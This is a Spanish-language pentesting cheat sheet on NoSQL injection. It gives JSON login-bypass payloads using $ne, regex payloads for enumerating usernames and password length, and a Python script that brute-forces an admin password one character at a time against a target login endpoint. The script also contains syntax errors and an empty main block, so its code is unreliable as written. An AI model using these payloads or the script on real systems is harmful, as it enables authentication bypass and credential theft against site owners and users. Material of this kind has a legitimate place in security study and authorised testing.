NoSQLi

#OWASP #NoSQLi

Las inyecciones NoSQL representan una seria vulnerabilidad de seguridad en las aplicaciones web que utilizan bases de datos NoSQL. Estas inyecciones se aprovechan de la falta de validación de los datos en las consultas a la base de datos, permitiendo a los atacantes enviar datos maliciosos que pueden manipular las consultas y comprometer la integridad, confidencialidad y disponibilidad de la información almacenada en la base de datos.

Payload

El ejemplo tiene como base la siguiente estructura:

{
	"username":"admin",
	"password":"admin"
}

Basic

$ne hace referencia a "Not equal", con esta consulta buscara cualquier usuario que no tenga ese nombre.

{
	"username":"admin",
	"password":{
		"$ne":"admin"
	}
}
{
	"username":{
		"$ne":"nombre"
	},
	"password":{
		"$ne":"admin"
	}
}

REGEX

Puedes utilizar REGEX para descubrir datos

{
	"username":{
		"$regex":"^a" 
	},
	"password":{
		"$ne":"admin"
	}
}

Luego "$regex":"^ad" y luego "$regex":"^adm", asi sucesivamente hasta completar el "Brute Force"

Cantidad Caracteres

{
	"username": "admin",
	"password":{
		"$regex":".{15}"
	}
}

Tanteo hasta que el sitio retorna un error, la maxima cantidad de caracteres es {15}

Script

#!/usr/bin/python3

from pwn import *
import requests, time, sys, signal, string

def def_handler(sig, frame):
	print("\n BREAK! \n")
	sys.exit(1)

# CTRL + C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
login_url = "http://{Target}/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits

def makeNoSQLI():

	password = ""

	p1 = log.progress("Fuerza Bruta")
	p1.status("Iniciando proceso de fuerza bruta")
	time.sleep(2)

	p2 = log.progresss("Password")

	for position in range(0, 24):
		for character in characters:
			post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password,character)

			p1.status(post_data)
			
			headers = {'Content-Type': 'application/json'} 
			
			r = requests.post(login_url, headers=headers, data=post_data)

			if "Logged in as user" in r.text"
				password += character
				p2.status(password)
				break

			print(post_data)

if __name__ == '__main__':

Last updated